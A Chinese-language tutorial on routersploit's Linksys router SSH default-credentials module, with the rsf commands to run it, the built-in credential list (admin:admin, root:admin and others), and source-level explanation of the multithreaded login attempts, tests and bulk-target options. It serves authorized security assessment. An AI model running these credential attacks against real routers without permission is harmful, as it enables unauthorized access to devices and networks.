- 网络安全
- 嵌入式
【免费下载链接】routersploit
Exploitation Framework for Embedded Devices
导读
本文围绕 routersploit 框架中的creds/routers/linksys/ssh_default_creds模块展开,系统讲解如何对 Linksys 路由器暴露的 SSH 服务进行默认口令字典攻击(Default Credentials Dictionary Attack)。你将掌握该模块的加载与配置方法、默认凭据列表的含义与自定义方式、多线程攻击流程的底层实现,以及如何结合仓库源码与测试用例理解其工作原理,最终能够对嵌入式设备 SSH 服务进行安全评估。
模块概述:它在 routersploit 中的定位
ssh_default_creds属于 routersploit 的creds(凭据)模块族,路径为 routersploit/modules/creds/routers/linksys/ssh_default_creds.py。该模块的核心职责是:使用内置的 Linksys 路由器默认凭据字典,对目标 SSH 服务执行字典攻击;一旦发现有效凭据,立即展示给用户。
模块元数据(__info__)声明如下:
name:Linksys Router Default SSH Credsdescription:对 Linksys Router SSH 服务执行字典攻击,发现有效凭据后展示给用户devices:Linksys Routerauthors:Marcin Bury(routersploit 模块作者)
值得注意的是,该模块并非从零实现攻击逻辑,而是继承自通用模块routersploit/modules/creds/generic/ssh_default.py:
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault class Exploit(SSHDefault): __info__ = { ... } target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)") port = OptPort(22, "Target SSH port") threads = OptInteger(1, "Number of threads") defaults = OptWordlist("admin:admin,admin:password,root:admin,linksys:", "User:Pass or file with default credentials (file://)")这种"厂商模块继承通用模块、仅覆写凭据与默认参数"的设计模式,在整个creds/routers/<vendor>/目录中广泛复用——同一目录下还提供ftp_default_creds、telnet_default_creds等同族模块,共同构成针对 Linksys 的多协议默认凭据检测能力。
快速开始:完整操作步骤
启动框架
在仓库根目录安装依赖并启动交互式框架(参见 README.md):
python3 -m pip install -r requirements.txt python3 rsf.py加载并运行模块
进入rsf交互式终端后,按以下流程操作:
rsf > use creds/routers/linksys/ssh_default_creds rsf (Linksys Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Linksys Router Default SSH Creds) > run运行结果示例
以下为文档中给出的典型运行输出(仅作演示,实际结果取决于目标环境):
[*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin输出要点解读:
Target exposes SSH service:攻击前先执行连通性探测;- 失败尝试以
[-] SSH Authentication Failed逐条输出(受verbosity控制); - 成功后输出
[+] SSH Authentication Successful,并在末尾以表格形式汇总Target / Port / Service / Username / Password; - 若所有凭据均无效,则输出
Credentials not found。
模块参数详解
该模块的五个核心参数及其默认值如下(类型均定义于 routersploit/core/exploit/option.py):
| 参数 | 类型 | 默认值 | 说明 |
|---|---|---|---|
target | OptIP | 空 | 目标 IPv4 / IPv6 地址,或file://前缀的 ip:port 列表文件 |
port | OptPort | 22 | 目标 SSH 服务端口(有效范围 1–65535) |
threads | OptInteger | 1 | 并发攻击线程数 |
defaults | OptWordlist | admin:admin,admin:password,root:admin,linksys: | User:Pass组合,或以file://前缀指向字典文件 |
verbosity/stop_on_success | OptBool | true | 详见下文"继承自通用模块的开关" |
各参数的行为细节
target(OptIP):通过正则校验 IPv4 / IPv6 地址格式,非法地址会在set时直接抛出OptionValidationError。此外,routersploit 支持批量目标——将target设置为file:///path/to/targets.txt,文件中每行一个ip:port(端口可省略),配合@multi装饰器实现对多个目标逐一攻击(见 routersploit/core/exploit/exploit.py 中multi装饰器的实现)。
port(OptPort):必须是 1–65535 的整数,非整数或越界值会触发校验错误。
threads(OptInteger):控制并发线程数量。模块默认值为1(单线程),通用模块的默认值为8;在目标网络条件较好、希望加速时可以提高该值。
defaults(OptWordlist):本模块内置的 Linksys 默认凭据列表仅四条:
admin:admin admin:password root:admin linksys:其中linksys:表示用户名为linksys、密码为空字符串。该列表同样被测试用例 tests/creds/routers/linksys/test_ssh_default_creds.py 断言确认:
assert exploit.defaults == ["admin:admin", "admin:password", "root:admin", "linksys:"]OptWordlist的底层实现(option.py)支持两种取值方式:
- 直接以逗号分隔内联凭据:
admin:admin,admin:password; - 以
file://前缀指向外部字典文件,每行一条User:Pass,运行时自动读取并按行拆分。
注意:这里的file://用法与target的批量目标文件用法机制相同但用途不同——前者提供凭据字典,后者提供目标主机列表。
继承自通用模块的开关
除了上述参数,模块还从SSHClient基类继承了三个可调项:
verbosity(默认true):控制是否逐条打印"认证失败/成功"日志,关闭后仅输出汇总结果;stop_on_success(默认true):一旦发现有效凭据立即停止后续尝试;target_protocol:固定为Protocol.SSH,用于结果表格中的Service列显示ssh。
攻击流程的源码级解析
模块的完整攻击链路由通用模块 ssh_default.py 实现,可分四步理解。
第一步:run()入口
def run(self): self.credentials = [] self.attack()attack方法被@multi装饰,因此当target指向批量文件时会被逐个目标反复调用。
第二步:check()服务探测
def check(self): ssh_client = self.ssh_create() if ssh_client.test_connect(): print_status("Target exposes SSH service", verbose=self.verbosity) return True print_status("Target does not expose SSH", verbose=self.verbosity) return Falsetest_connect()由 SSH 客户端 routersploit/core/ssh/ssh_client.py 提供,内部逻辑是:以root用户名 + 12 位随机密码尝试连接(random_text(12))。若服务器返回paramiko.AuthenticationException,说明 SSH 服务确实存活(只是拒绝该凭据),即判定"目标暴露 SSH 服务";其他异常(超时、连接拒绝等)则视为探测失败并跳过攻击。
第三步:attack()多线程字典攻击
data = LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data)LockedIterator(exploit.py)为字典迭代器加锁,保证多线程下每条凭据只被消费一次,不会重复尝试;run_threads按threads数量创建线程,线程名形如thread-0、thread-1……,并在结束后打印Elapsed time。这也解释了输出日志中thread-0 thread is starting...的来源。
第四步:target_function()凭据尝试
username, password = data.next().split(":", 1) ssh_client = self.ssh_create() if ssh_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ssh_client.close()真正的认证动作在SSHCli.login()(ssh_client.py)中完成:通过 paramiko 的SSHClient.connect()发起密码认证,设置look_for_keys=False、allow_agent=False以禁用密钥与 agent 干扰,超时时间为 8 秒(SSH_TIMEOUT = 8.0)。AuthenticationException记为失败,成功则返回True并记录凭据;配合stop_on_success=True时,命中首个有效凭据即终止整个线程组。
结果汇总
attack()末尾根据self.credentials是否为空决定输出:
if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Service", "Username", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found")这正是文档示例中最终表格(Target / Port / Service / Username / Password)的生成来源。
测试用例验证
仓库为每个 creds 模块配套了单元测试。Linksys SSH 模块的测试位于 tests/creds/routers/linksys/test_ssh_default_creds.py,验证要点包括:
- 默认参数正确性:
target为空、port == 22、threads == 1、defaults为上述四条 Linksys 凭据、stop_on_success与verbosity均为True; - 针对通用测试目标(
generic_targetfixture,通常是未运行 SSH 服务的地址)执行check()返回False、check_default()返回None、run()返回None——即目标不暴露 SSH 服务时不会误报。
这套测试同时验证了模块与通用 SSH 攻击逻辑的集成正确性。运行方式:
python3 -m pytest tests/creds/routers/linksys/test_ssh_default_creds.py -v扩展使用建议
- 自定义字典:将
defaults设置为file:///path/to/creds.txt,即可复用任意自定义凭据字典(每行User:Pass),用于评估其他品牌或固件版本的路由器。 - 批量评估:将
target指向file:///path/to/targets.txt(每行ip或ip:port),可对多个 Linksys 设备依次执行同一攻击流程。 - 提高效率:在确认目标响应较快时增大
threads并保持stop_on_success=true,在速度与隐蔽性之间取得平衡。 - 联动其他协议:Linksys 目录下还提供
ftp_default_creds与telnet_default_creds两个同族模块(见 routersploit/modules/creds/routers/linksys/),可组合覆盖 FTP、SSH、Telnet 三类常见管理服务。
安全边界说明
本模块属于安全评估工具,仅应在获得授权的目标上使用。默认凭据攻击本质上依赖设备出厂时的弱口令配置,其结果可作为排查未授权访问风险、加固设备口令策略的直接依据。任何未经授权的扫描与尝试均可能违反当地法律法规。
- 网络安全
- 嵌入式
【免费下载链接】routersploit
Exploitation Framework for Embedded Devices
相关推荐
RouterSploit 实战:使用 Netcore Router Default SSH Creds 模块进行 SSH 默认凭据攻击
RouterSploit 实战:使用 Netcore Router Default SSH Creds 模块进行 SSH 默认凭据攻击 导读 本文围绕 Rout
网络安全嵌入式routersploit 实战:使用 Asmax Router Default Telnet Creds 模块对 Telnet 服务执行默认凭据字典攻击
routersploit 实战:使用 Asmax Router Default Telnet Creds 模块对 Telnet 服务执行默认凭据字典攻击 导读
网络安全嵌入式routersploit 使用指南:Linksys 路由器 Telnet 默认口令爆破模块 `creds/routers/linksys/telnet_default_creds` 实战
routersploit 使用指南:Linksys 路由器 Telnet 默认口令爆破模块 creds/routers/linksys/telnet_defau
网络安全嵌入式
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考